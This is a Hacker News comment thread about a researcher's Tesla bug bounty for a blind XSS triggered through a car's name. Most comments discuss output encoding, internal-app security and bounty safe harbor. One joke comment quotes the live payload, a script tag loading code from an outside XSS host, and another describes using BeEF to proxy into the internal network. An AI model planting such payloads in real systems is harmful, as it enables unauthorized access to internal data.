8 ms·
Cracking My Windshield and Earning $10k on the Tesla Bug Bounty Program
- deleted 7y ago[deleted]
- samnwa 7y agoThat was an awesome summary and a good example of the value of bug bounty programs.
- jxcl 7y agoThis bug probably existed because some developer thought "this is an internal application, I don't need to apply the same rigorous input/(edit: and output, as replies point out) sanitation as I do with normal sites because it's only accessible by VPN." As a consultant that gets to see a lot of "internal only" applications, this is one of the misconceptions that me and my coworkers try to fight against. XSS is effective even if the attacker doesn't have access to the internal application, because it's not the attacker's computer making the requests.
- trilila 7y agoNormally, it would not be the input to be sanitised, but rather the output properly formatted. It's easier to make sure that ANY type of input is shown properly, as opposed to eliminating SOME of the known issues.
- ec109685 7y agoOutput sanitization is what you want to bet on. Only your website / app knows where a piece of data will be displayed, so that is when you should apply appropriate encoding of the output stream.
- gowld 7y agoCan you (or another commenter) give an illustration of this sort of output sanitation?
- jxcl 7y agoIf a user has a bracket character in any field, it's OK to allow it, as long as you don't render it directly in any HTML. You have to make sure that when you render it you render it as `<` or `>`, which get displayed as `<`, or `>`, but aren't interpreted as HTML.
- trilila 7y agoCorrect. And one reason to properly format for output, rather than sanitise input is because you do not know how the string might be used. I mean you can sanitise for HTML output, but it won't cover shell command output (i.e.: when you pass the string as a parameter to a tool via --vehicle-name=). Thus input is to be stored as is, and NEVER trusted even if some input sources "sanitise" it.
- Technetium_Hat 7y agothis mistake is what causes the incredibly common html entities in plain-text emails, as well as RSS article titles.
- trilila 7y agoOutput formatting, example: "><script src="// becomes "><script src="// for the web. For other types of applications, where any of these characters have special meaning and might be interpreted, these might be formatted differently for output.
- jerf 7y agoThe term you probably want to look for in your web framework is "encoding". I don't like "sanitization" personally, because it sounds like you're removing "bad stuff", but in general, "bad stuff" is not identifiable or removable because "bad stuff" is highly context-dependent, plus a lot of times the "bad stuff" is perfectly legitimate [1]. Apostrophes are "bad stuff", because they can break out of SQL queries and HTML tags, but they are also parts of people's names. Double-quotes are "bad things", but they are legitimately part of all sorts of real data. Any "sanitize(string)" function is by definition wrong because it has no place for a context to go, and it will do bad things to your data. One of my items on my short checklist for examining an HTML templating language is "does the simplest possible way to dump out a string to the user at least do HTML encoding on the value"? That is, x = "<>" template = compileTemplate("{x}") template.Dump({x: x}) for whatever the simplest output of a value is, should output "<>"; if it outputs "<>", you've got a templating language that you ARE going to write XSS attacks in, no matter how careful you are. The time you want to dump out non-encoded text is the exception, not the rule. Bonus points for being even more aware of the context and correctly encoding things in Javascript context vs. HTML context, etc. This isn't a magic wand that fixes everything, but in general, if it does default to a blind HTML-encode it at least means that instead of a security failure if you screw up the encoding, you'll get the user seeing some ugly stuff on their screen like < instead. [1]: Although, technically, I think it's acceptable for an HTML encoding function to just eliminate the ASCII control characters other than newline, carriage return, and tab, rather than encode them. Those are just asking for trouble, even if you encode them. Especially NUL. Even in 2019, best to keep NULs out of places they don't belong.
- davedx 7y agoYup. React has this by default with everything you render. You have to override it with “dangerouslySetHtml” if you don’t want it.
- NightlyDev 7y agoActually, input might be the better option as one rarely needs to accept HTML or such special characters. It's also a more common to display or use data than storing it, so you don't have that many places where you can fail when you just convert the input before storing it. It's nice to be able to trust all data coming from the server.
- TiltMeSenpai 7y agoTrust but verify. The only correct option is to do both.
- duxup 7y agoHell even in my past career supporting hardware network products a lot of companies had / have management ports that are vulnerable to all sorts of stuff. The industry standard response from engineers was "well that should be behind a firewall". It's time we stop pretending the big bad internet is just "out there" just because it should be, it is everywhere.
- gwbas1c 7y agoCould just be because the application was written by a less experienced programmer, or even outsourced?
- disillusioned 7y agoTesla and SpaceX are both pretty maniacal about not outsourcing programming, to my knowledge.
- rconti 7y agoInteresting. Obviously they view it as a core competency. This would seem like a non-obvious and unnecessary expense to many, but (on the Tesla side) differentiates them from other automakers. Whether that results in a barrier to competition... we'll see.
- spiralx 7y agoAlthough if you believe these anecdotes from a supposed ex-employee then competency is not the word to use: https://twitter.com/atomicthumbs/status/1032939617404645376 https://twitter.com/atomicthumbs/status/1032939617404645376
- spockz 7y agoI only know of low-level tools being open sourced like service meshes, RPC clients, event busses, and metric servers. I’ve never seen internal applications open sourced. Do you have an example?
- invalidusernam3 7y agoOP said out sourced, not open sourced
- jakobegger 7y agoI've seen very experienced developers make mistakes with input/output sanitation.
- dmix 7y agoThis stuff should be taken care of by your web framework wherever possible.
- Thorrez 7y agoNote that even if it's only accessible by VPN, attackers can still make HTTP requests to it because when an employee connected to the VPN visits attacker.com , attacker.com can make XHR calls to internalsite.com . The attacker can't read the response (unless there are other vulnerabilities), but if you don't have CSRF protection, the attacker can perform actions on the internal site.
- gibolt 7y agoWhat a great response and turnaround. Bug as fixed within 24 hours and paid out within a month. I wouldn't expect any other car manufacturer to respond ever, most don't even own their software stack.
- Someone1234 7y agoA lot of other vehicle manufacturers couldn't anyway, they don't build the infotainment systems in-house, they simply just re-theme/re-badge the units from companies like Panasonic, Pioneer, Fujitsu-Ten, etc. So if they got a bug report it would have to travel through ten layers of indirection before an engineer got to read it (let alone understand/respond). Particularly when there might be two or three different written word languages used between consumer and engineer (e.g. English -> Japanese -> Mandarin (Taiwan)). Tesla (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units.
- HeWhoLurksLate 7y agoTessa (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units. Isn't being different great sometimes?
- gambiting 7y agoI've tried reporting a bug where on a 2016 Mercedes GLA if you're playing MP3s from a USB stick the car will remember the track to play but nothing else about it, so after coming back the same track plays but with the wrong name, wrong album art, etc etc. It's literally impossible to. The dealer said they have no way to do that except for just flashing my car with a newer FW and hoping it fixes it(it didn't), messaging Mercedes UK yields no reply, posting on their official forums yields no reply.....I just gave up after a while.
- ChicagoBoy11 7y agoI had to rent a ton of cars over the past year before finally buying one and always remarked out how shitty the infotainment systems were, and that the only one which didn't actively piss me off was Ford's. Now I know why!
- inlined 7y ago> On a final note, Tesla’s bug bounty program is fantastic. They provide a safe haven for researchers who are in good-faith trying to hack their cars. If you accidentally brick one, they’ll even offer support in attempting to fix it. This is an amazingly open and refreshing policy!
- hanniabu 7y agoDoes this mean you can legally mod your car under the guise of hacking it?
- whatshisface 7y agoIt's not illegal to have a NO2 factory in your garage, it's illegal to drive it on the roads. A good-faith emissions control hacking would probably not involve long-distance highway driving or racing.
- hanniabu 7y agoI was thinking you wouldn't have to tell Tesla this, but it's a good point because the car is connected so they would know if you were driving it or not.
- aphextim 7y agoMaybe if you only drive in a private property and not public roads. Probably like aftermarket modifications currently.
- aphextim 7y agoThis topic made me think of a funny old video of a farmer who put a turbo on his tractor. Probably illegal to drive this on any public road, however on his own property/private roads he is having a blast. https://www.youtube.com/watch?v=IZZpAO0jP7E https://www.youtube.com/watch?v=IZZpAO0jP7E
- 7y ago
- Johnny555 7y agoInterestingly, the car returned the (current?) speed: Speed: 81 mph I wonder if that, coupled with the GPS info (which wasn't included in the data returned, but I assume the car knows it) would be sufficient to issue a speeding ticket if the government had access to the data?
- ars 7y agoA car's self reported speed is not accurate enough - for example if you slip on gravel or ice, the reported speed would momentarily be higher.
- deleted 7y ago[deleted]
- rightbyte 7y agoOr if you are braking it will be lower.
- danaur 7y agoSome insurance companies are already doing this I think where they attach things to your car and if you stay under the speed limit you get discounts on your payments
- hobofromabroad 7y agoThere are also companies like The Flow that offer that data directly from mobile devices via an app.
- floatrock 7y agoMetroMile does this with an OBD-II device... their niche is insurance for low-mileage vehicles, and they track your mileage with a dongle device that must always be plugged in. Seems like a huge information asymmetry, though. Anyone who's ever dealt with an insurance claim knows that they find any nitpick to get out of payments... having an insurance provider that can say "actually we don't owe you anything because according to our black box, you were 2 mph over the speed limit therefore you were negligent" seems like it defeats the purpose of having insurance. I like the idea of more accurate pricing based on actual (low) usage, but I don't like that it gives them a disproportionately larger surface area for their lawyers to find technicalities that gets them out of paying claims. When the tollbooth transponders came out, they explicitly said "this will never be used to issue speeding tickets" even though all the data was there... I don't believe MetroMile makes any similar promise.
- benj111 7y agoI share my birthday with a car. I'm unsure how to feel about this, probably better than sharing it with Rupert Murdoch, but worse than sharing it with Douglas Adams.
- nickip 7y agoWhat would the fix for this be? Enabling CORS only for `https://garage.vn.teslamotors.com` https://garage.vn.teslamotors.com`?
- bhhaskin 7y agoThat would be a good first step, but more importantly making sure any content is rendered in a safe way. In this instance safe means making sure HTML entities are properly encoded and escaped.
- ryacko 7y agoThere is no reason why an internal interface needs to be in a browser, or a browser with access to the internet.
- Someone1234 7y agoThere's no reason why it shouldn't be either. The page being discussed is accessed by Tesla garages all over the country (and potentially internationally), creating a web app on an intranet site makes a lot of sense (for single point of update, single point of support, and the ability to run across diverse user devices). Particularly as the raw data always need to come from Tesla's HQ either way. As to if the same garage machine should also have access to the internet, I cannot speak to that, it depends what else it is being used for (e.g. showing customers Tesla's public facing website for example, accessing third party vendor's inventory systems, research, etc). No platform is immune from insecure usage. Not desktop software. Not terminal emulators. Not even mobile apps. That's particularly true when the context you're stealing information from is the same as the context you're attempting to run evil code.
- ryacko 7y agoI’m saying a network namespace or equivalent should isolate the browser from being able to access external IPs or non-whitelisted IPs, if the browser can also access internal systems. A separate browser instance should be used for accessing external links, preferably with JIT disabled, with a file system namespace or equivalent disabling access to much of the file system. But okay, nothing is secure according to you.
- simonebrunozzi 7y agoWe should always, always plaude and praise companies that are at least this serious about bounty programs. Two years ago, despite I wouldn't call myself the deepest technical person on the planet, I found a terrible bug that exposed 1.1M records for a bay area startup. (edit: the bug was really easy to find, it was a form of URL injection. I couldn't even believe that bug was there in the first place). I reached out to them multiple times, only to realize they were going to ignore me in perpetuity. I didn't even want money, I would have been happy just to see the bug fixed. (I never helped fix a bug that another company had). Nada. A less scrupulous person would have sold that information and exposed data for 1.1M people. I am not naming the company here, even though they would totally deserve it.
- brailsafe 7y agoPlease become less scrupulous! If that bug isn't fixed, that's just another in a long line of disposable bay area startups run by rich careless people—certainly none of which lurk on HN—who treat sensitive customer information like used tissue. I'm sure there's a way to do it where you don't expose the data, but I'd thinknofnit as a favour to a million people.
- SkyBelow 7y ago>I am not naming the company here, even though they would totally deserve it. I do wonder to what extent the culture itself of how we approach bugs is designed to benefit companies over consumers. That we avoid naming and shaming due to a chilling effect of blow back, that we have disclosure windows, that the legal framework for reporting bugs is so flaky, that we are all accustomed to bad security practices and getting our data hacked, it all feels like it is architected to benefit companies who rarely suffer from hacks (sometimes there is a significant cost, but that rarely outweighs the profits). It reminds me of identity theft. The entire concept that you lost money because your identity was stolen from you, that the bank (or other company) who feel for the fake victim isn't even a party to the actual crime, pushes the costs onto consumers. Instead of seeing it as the banks being the victim and thus responsible to bear the costs that aren't recoverable from the criminals, is is their customers who are. Thus it reduces the cost to the bank of poor identity management. An entire culture that offloads the costs of the bank's penny pinching onto consumers. Another such examples is when the early automotive industry pushed for people to view jay walking as the crime, shifting blame onto pedestrians for being in the way of cars.
- driverdan 7y agoThis is a great example of why it's terrible to have a car that can be remote controlled including the ability to push arbitrary updates. It should not be possible to use XSS to compromise a vehicle.
- trilila 7y agoFollowing this logic, nothing should be remotely controlled because there might be security risks. Including OS updates to laptops.
- driverdan 7y agoCorrect. No one should be able to push out arbitrary code without explicit user approval.
- SquareWheel 7y agoUsers have a terrible habit of not running updates. Years of botnets suggest that automatic updates are probably the way to go.
- Sohcahtoa82 7y agoIn a perfect world, where all users are smart, sure. But we're living in a world where there are still people running unpatched Windows XP boxes still vulnerable to MS08-067. If it weren't for Windows automatically installing updates, I imagine at least half of home users would still be vulnerable to Eternal Blue.
- Marinlemaignan 7y agosure but your laptop isn't gonna drive you straight into a wall, would he ?
- gowld 7y agoXSS compromised a remote web app, not the vehicle. The vehicle hacked Tesla HQ, not vice versa
- komali2 7y agoI mentioned this to my coworkers who brought up something I hadn't thought of - would this be illegal in the USA via something such as CFAA? https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act He technically accessed Tesla's dashboard without authorization, for example.
- jerf 7y agoTesla authorizes certain activities through their Bug Bounty program: https://bugcrowd.com/tesla https://bugcrowd.com/tesla This is the first clause in the "in scope" section, so it is not unauthorized. It would be bad if he used this to just wander around in their website, though. Nobody's contested whether this is worth a $10,000 payout yet, but this seems a decent place to point out that using https://beefproject.com https://beefproject.com , you can use that XSS vulnerability as a reverse proxy back into Tesla's network, and browse through the support site authenticated as the user currently accessing the XSS payload. This isn't just an XSS, it was a authentication bypass that a real attacker could have leveraged into access into that internal web site full of sensitive info in just a few minutes.
- EdOverflow 7y ago(Obligatory: I am not a lawyer) This is what the "safe harbor" that the author was referring to is supposed to cover. > Tesla considers that a pre-approved, good-faith security researcher who complies with this policy to access a computer on a research-registered vehicle has not accessed a computer without authorization or exceeded authorized access under the Computer Fraud and Abuse Act ("CFAA"). [1] *.teslamotors.com, which is where the blind XSS payload fired, is in scope and therefore the safe harbor covers that asset too. For more on bug bounty safe harbors, I would highly recommend taking a look at Amit Elazari's work at https://amitelazari.com/%23legalbugbounty-hof https://amitelazari.com/%23legalbugbounty-hof and https://github.com/edoverflow/legal-bug-bounty https://github.com/edoverflow/legal-bug-bounty. [1]: https://bugcrowd.com/tesla https://bugcrowd.com/tesla
- j0e1 7y agoTangentially, how long did it take to get the windshield fixed? I've heard horror stories about their service.
- zlz123 7y agoI'm yet to fix it because the crack isn't too bad yet. Their windshield replacement is through retailers who fit their standards and not Tesla directly so I assume it won't be too bad as all they have to do is ship the wind screen.
- jcampbell1 7y agoThe trend of storing auth tokens in localStorage rather than httpOnly cookies is a problematic trend due to vulnerabilities like this. If you can exfiltrate an authtoken then one gets long lived access to the system.
- Zenst 7y agoThat's impressive, a support process that is responsive, don't mess about and fair. Companies around the World could learn something from this. They probably won't, but they certainly all could.
- AdamN 7y agoThe real thing you realize here is that Tesla is a software company (and it will eat the world). Getting a hotfix out that fast is the proof in the pudding.
- redpilldealer 7y agoNice to see Sam reached the front page of hacker news!
- tlrobinson 7y agoI can imagine the support call: > Did you really name your Tesla "><script src=//zlz.xss.ht></script>? > Oh, yes, little Bobby ScriptSrc, we call him.
- brokenmachine 7y agoAll the comments on here seem to be praising Tesla for paying a bug bounty, but I'm just sitting here horrified at how much information a phone support guy is able to view remotely about owners cars, not to mention the ability to send OTA updates. No way am I buying a connected car.
- reallydontask 7y agoI think you might be out of options soon, if you want a new car that is. A while longer for used cars obviously. Once all new cars are connected, the DuckDuckGo of cars will launch soon thereafter with the promise of a privacy centric connected car :)